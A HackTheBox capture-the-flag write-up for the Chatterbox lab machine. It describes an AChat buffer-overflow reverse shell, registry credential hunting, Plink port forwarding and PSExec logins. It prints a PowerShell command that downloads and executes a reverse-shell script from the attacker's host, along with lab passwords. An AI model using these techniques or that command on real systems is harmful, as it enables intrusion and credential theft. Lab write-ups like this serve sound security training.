Chatterbox- HackTheBox Writeup
The link for this machine is located here: https://app.hackthebox.com/machines/123
This room covers exploiting the AChat program using a buffer overflow to gain a reverse shell through Metasploit. Additionally, there are many manual methods covered as well for additional practice.
Full Walkthrough
The first thing we do is run an nmap scan to identify the open ports.
NOTE: I was having trouble with this box and its open ports. I had to look up a writeup just to find what ports were open, hence why I have specified these two ports initially.
This would reveal that two ports are open- port 9255 and 9256. These are unusual open ports so it’s a good idea to run a more detailed scan on these ports to see what services are running.
This reveals that port 9255 is running HTTP for something called “AChat” and port 9256 seems to be running the AChat program.
With this AChat program, we can use Searchsploit to see if any potential exploits exist for it.
This reveals a couple of different exploits that we could possibly use -a buffer overflow (both manually and with metasploit).
Doing some more research, we can try and find a GitHub Proof of Concept or exploit that we can run.
The first result we get seems to be a Reverse TCP Exploit for AChat that we could possibly use. Clicking the link we can read more about it.
This reveals the instructions we need to run this exploit. It tells us that we have to use the multi/handler to catch the shell.
Additionally, we have to set the RHOST, LHOST and LPORT and copy the shellcode into the Python script.
Once we download the GitHub repo, we can run the AChat_Payload.sh script to generate the shellcode whilst also providing the RHOST, LHOST and LPORT.
This generates the shellcode that we need to gain a reverse shell. We can open up AChat_Exploit.py and start to edit it.
Where it says we need to paste the shellcode, we paste it below. Additionally, we need to navigate to some functions in the script and add the IP address and port from the 192.168.1.209 address to the HackTheBox IP address.
Below, we can see that I have changed the IP address.
Once the Python script is edited and ready to go, we can open Metasploit and run the multi/handler to catch the shell while setting the PAYLOAD, LHOST and LPORT options to match what we provided the AChat script to generate the shellcode.
Once running, we can use Python to execute the AChat_Exploit.py script and hopefully gain a reverse shell in Metasploit.
Running the exploit, we can see that the payload was released and to check our handler.
And we get a shell instantly instantly running as Alfred.
Unfortunately, it dies almost immediately - I’m not entirely sure what the issue is but a good theory is that the buffer overflow that we used to attack the AChat program likely crashed the program, which was what our shell was running through.
Hence, since the buffer overflow crashes the program, it also crashes our shell.
To fix this, we can use the migrate command in Meterpreter to move instantly to a different process to hopefully save our shell.
However, unless you are an insanely fast typer, it’s unlikely we will be able to migrate to a different process before the session crashes.
There is a solution to this - we can use an AutoRunScript to automatically migrate to a new process immediately when the session is created.
To do this, we first create an RC file (called automigrate.rc) which will run the post/windows/manage/migrate module.
Then, in the multi handler, we can set the AutoRunScript option to run that RC file when we get a connection back.
Once everything is set, we can run the handler again and execute the AChat_Exploit.py script again to get a new meterpreter session.
As you can see above, as soon as we get the connection, it runs the migrate command we specified in the RC file and migrates to a different process, hopefully giving us a more stable shell (and it does!).
From here, we can see that our session is running as Alfred.
Manual Method 1
To do this the manual way, we could do the same method but change the payload to something else, but what if that GitHub didn’t exist?
Instead, we take a look at the Exploit-DB script (non-Metasploit version) and see what it does.
It seems to do roughly the same thing - generate an MSFVenom payload, and execute a buffer overflow exploit.
Reading the page, it gives us an example MSFVenom payload that we can use that executes the calculator app like a true hacker.
Seeing this example, we can simply change the payload (-p) to a simple reverse TCP Windows shell instead, specifying our LHOST and LPORT options.
Then, we need to scroll down and once again change the IP address from whatever the default was to the HackTheBox IP address.
Once we have edited the Python script from Exploit-DB, we can simply try running it.
In this example, I used the same multi/handler in Metasploit to catch the reverse shell, but you could also use Netcat or your preferred option.
Once ran, we get a command shell back and we get the same access to the machine.
Manual Method 2
Ready for some PowerShell and Nishang? Let’s go!
Instead of using the MSFVenom payload option like a reverse TCP shell, instead we use the windows/exec payload and execute a CMD which is the following:
“powershell -c iex(new-object net.webclient).downloadstring(‘http://10.10.14.4/Invoke-PowerShellTcp-8082.ps1’)”
And we output it to a file called shellcode. With the outputted shellcode, we simply replace the contents of the exploit with the newly generated shellcode.
Then, we simply copy the Invoke-PowerShellTcp.ps1 file from whatever directory to the current one.
Then, we add the following line to the bottom which simply connects back to us on our IP and port 8082 or whatever port you specified.
With the PowerShell script ready, I simply renamed it.
Then, we need to make sure the target machine can grab the file so we start a Python web server to host the file.
And we also need to start a Netcat listener on port 8082 to receive the PowerShell shell when the exploit is ran.
Finally, we run the modified Python script from Exploit-DB and it tells us it worked.
Checking our Netcat listener, we get a PowerShell command prompt running as Alfred on CHATTERBOX - it worked!
Privilege Escalation - Method 1
From here, I will use this shell to continue into privilege escalation. Once we have our shell, we can navigate to Alfred’s desktop and grab the user.txt flag.
Afterwards, we can see what other users are available on the system by checking the Users folder.
Here, we can see that the only other user is Administrator. What happens if we try to go into that directory?
We are actually allowed to go into the Administrator’s desktop and list out the files which is kind of strange - we shouldn’t be allowed to do that.
However, if we try to read the contents of root.txt, we get a permission denied error.
At this point, something weird is going on, so I decided to check out the permissions of the files in the Admin desktop (similiar to ls -l on Linux) and found that the root.txt file is not owned by the Administrator, but is actually owned by Alfred - the user we currently are!
With this information, although we don’t have permissions to read the file, since we are the owner we can change these permissions and give us the ability to read it.
To do this, we can use the icacls command specifying the file and granting Alfred the rights of full control (F) and finally read the root.txt flag.
Privilege Escalation - Method 2
Although the icacls is a good method, it is not the only way. First, we can grab information about the system to see if there are any potential kernel exploits or any other useful information by running the systeminfo command.
A ton of information comes back to us include the OS, that it is a 32-bit system and that it has 183 hotfixes installed. We could at this point try and find a kernel exploit, but they have a high potential to crash the system so I want to avoid them if I can.
Another thing we can check is which users are available on the system using “net users”.
We know that we are the user Alfred, so we can check more detailed about this account using “net user Alfred”.
A good thing to check for is what groups we are a part of. For this box, it seems like we have no special permissions or part of any potentially vulnerable group.
We can also check the network connections and see what is happening on the system.
Interestingly, at the very top, we can see that our machine is actually listening on ports 135 and 445 - this tells me that potentially SMB is running on this machine but is not open to the public IP and is internal only.
We could potentially use this to login as the Administrator if we are able to find credentials. With this thinking, we can actually search the registry for any indication of the word “password” to see if any cleartext credentials are being stored.
A couple of results come back, but the most important one is the following.
This looks like a password for WinLogon (the registry path) which could be very useful. Knowing it is for the WinLogon registry value, we can query this to try and get more information:
This tells us that the username is Alfred and the password is Welcome1! - potentially.
Next, since this port is not publicly open, we can open up SMB on our target by using something called Plink.exe which is a CLI for PuTTY.
With it downloaded, we can host the EXE file using a Python web server.
Then, on the target machine, we can use certutil to download the file to a location we can write to - I choose the Alfred folder since we are that user.
Once downloaded, we need to make sure some things are set up before we start using Plink. On our local Kali machine, we need to edit the "/etc/ssh/sshd_config” and enable root login for SSH by uncommenting that line.
Then, to make sure the change takes effect, we need to restart the SSH service.
Once configured, we can execute the following command which will simply bind the 445 port on the Windows machine to port 445 on our machine whilst also logging in to our Kali machine using the root user with password of toor.
However, we get an error - this is because on the HackTheBox network, it doesn’t allow port 22 connections so we have to change the default SSH port to something different - in my case, I choose port 2222.
Once we have changed that, we can execute plink once again and specify the port this time which should connect us to our Kali machine using Plink with the 445 port forwarded so we can access the SMB service.
Once on our Kali machine through the Windows machine (confusing I know), we can use Netstat to list out the network connections and we can see that port 445 is indeed listening on the localhost meaning our port forward worked.
With this, we can actually execute something like PSExec or SMBExec or WinEXE as examples and try to log in using the Welcome1! password we found earlier as the Administrator since password reuse is so common.
And it works! We get a CMD prompt back that is now running as the Administrator user.
At the time of writing this however, when I scanned the machine again from my Kali machine (not through Plink), it exposed the SMB ports as open - I don’t know whether this was a bug or a glitch or they updated the machine.
However, if this is intended, we can skip the port forwarding step and simply use something like PSExec.py with the Administrator user and that Welcome1! password to get a shell running as the SYSTEM user.
